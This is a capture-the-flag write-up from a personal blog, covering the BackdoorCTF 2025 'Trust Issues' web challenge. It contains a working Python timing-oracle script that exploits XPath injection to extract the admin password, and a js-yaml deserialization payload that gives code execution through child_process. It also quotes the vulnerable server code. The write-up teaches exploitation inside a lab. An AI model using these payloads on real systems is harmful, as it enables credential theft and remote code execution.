redtrib3's writeups

BackdoorCTF: Trust Issues

CTF: BackdoorCTF 2025
Challenge files: /backdoorctf/Trust_issues


We are provided a webapp and its source which seems to be node js, here are the files provided to analyse:

./data.xml ./docker-compose.yml ./Dockerfile ./flag.txt ./package-lock.json ./package.json ./protected/index.html ./protected/store.html ./public/login.html ./public/register.html ./server.js 

data.xml seems to contains some credentials:

<?xml version="1.0" encoding="UTF-8"?>
<database>
    <users>
        <user>
            <username>jdoe</username>
            <password>summer2023</password>
            <role>employee</role>
            <id>101</id>
        </user>
        <user>
            <username>admin</username>
            <password>fakepassword</password> 
            <role>admin</role>
            <id>001</id>
        </user>
</database>

Read through and one thing that stands out is the injection of input into XPATH queries in many places, but mainly here in the login implementation:

app.post('/login', async (req, res) => {
  const { username, password } = req.body;

  if (!username || !password) {
    return res.status(400).send('Missing username or password');
  }

  const query = `//user[username/text()='${username}']`;
  const userNode = xpath.select(query, xmlDoc)[0];

  if (userNode) {
    await new Promise(resolve => setTimeout(resolve, 2000));
  }

  if (!userNode) {
    return res.status(401).send('Invalid username or password');
  }

  const storedPassword = xpath.select1('string(password)', userNode);

  if (storedPassword !== password) {
    return res.status(401).send('Invalid username or password');
  }

  const sid = Math.random().toString(36).slice(2);
  sessions[sid] = xpath.select1('string(username)', userNode);

  res.cookie('sid', sid, {
    httpOnly: true,
    sameSite: 'Lax',
  });

  res.redirect('/index');
});

Also note that if the username is matched and found in the xml, it waits for 2 seconds before continuing.

That delay provided a timing oracle: if a query matched at least one user, the response time would be significantly larger than for a query that matched nothing.

  if (userNode) {
    await new Promise(resolve => setTimeout(resolve, 2000));
  }

I injected the following query into the username field to exploit the timing oracle and extract the password one by one.

# here 'i' is the index and 'c' is the character we are checking 
admin' and substring(password/text(), {i}, 1) = '{c} 

I created a python script to do it faster:

import requests
import time

url = "http://localhost:6014/login"


def send_payload(username_payload):
    data = {
        "username": username_payload,
        "password": "something"
    }
    start = time.time()
    r = requests.post(url, data=data)
    return time.time() - start

# Step 1: Find password length
password_length = 100

# Step 2: Find password characters
charset = "abcdefghijklmnopqrstuvwxyz"
password = ""

print("Finding password characters...")
for i in range(1, password_length + 1):
    found_char = False
    for c in charset:
        payload = f"admin' and substring(password/text(), {i}, 1) = '{c}"
        elapsed = send_payload(payload)
        print(f"Pos {i}, testing '{c}': {elapsed:.2f}s")
        if elapsed > 2:
            password += c
            print(f"Found char '{c}' at position {i}")
            found_char = True
            break
    if not found_char:
        print(f"No matching character found at position {i}, stopping.")
        break

print(f"Extracted password: {password}")

Recovered the admin password as df08cf and logged in successfully.

Read through the code and you should probably see a usage of 'yaml.load' here:

app.post('/admin/create', requireAdmin, (req, res) => {
    console.log('HIT /admin/create', req.body);
  const { filename, fileContent } = req.body;

  if (!filename || !fileContent) {
    return res.status(400).send('Missing filename or YAML content');
  }


    const datePrefix = new Date().toISOString().split('T')[0];

  const safeBase = path.basename(filename);
  const finalName = `${datePrefix}_${safeBase}`;

  if (finalName === 'config.yml') {
    return res.status(400).send('That filename is not allowed');
  }

    const targetPath = path.join(TMP_DIR, finalName);

  try {
    fs.writeFileSync(targetPath, fileContent, 'utf8');

    let parsed;
    try {
     parsed = yaml.load(fileContent);
     const applied = '' + parsed;
      return res.json({
        success: true,
        filename: finalName,
        result: applied,
      });
    } catch (e) {
      return res.status(400).json({
        success: false,
        filename: finalName,
        error: 'Invalid YAML',
        details: e.message,
      });
    }

  } catch (err) {
    console.error('Error writing file:', err);
    return res.status(500).json({ success: false, error: 'Failed to save file' });
  }
});

The key issues here were the use of yaml.load with attacker-controlled input and the conversion of parsed to a string using '' + parsed. yaml.load in js-yaml uses the full schema by default, which supports special tags such as !tag:yaml.org,2002:js/function that construct JavaScript functions. If the parsed object has a toString property that is a function, the expression '' + parsed calls that toString and uses its return value.

Payload to get RCE:

!!js/function "function() { return process.mainModule.require('child_process').execSync('cat flag.txt').toString(); }()

#backdoorctf #deserialization #nodejs #timing-oracle #web-exploitation #xml #xpath-injection #yam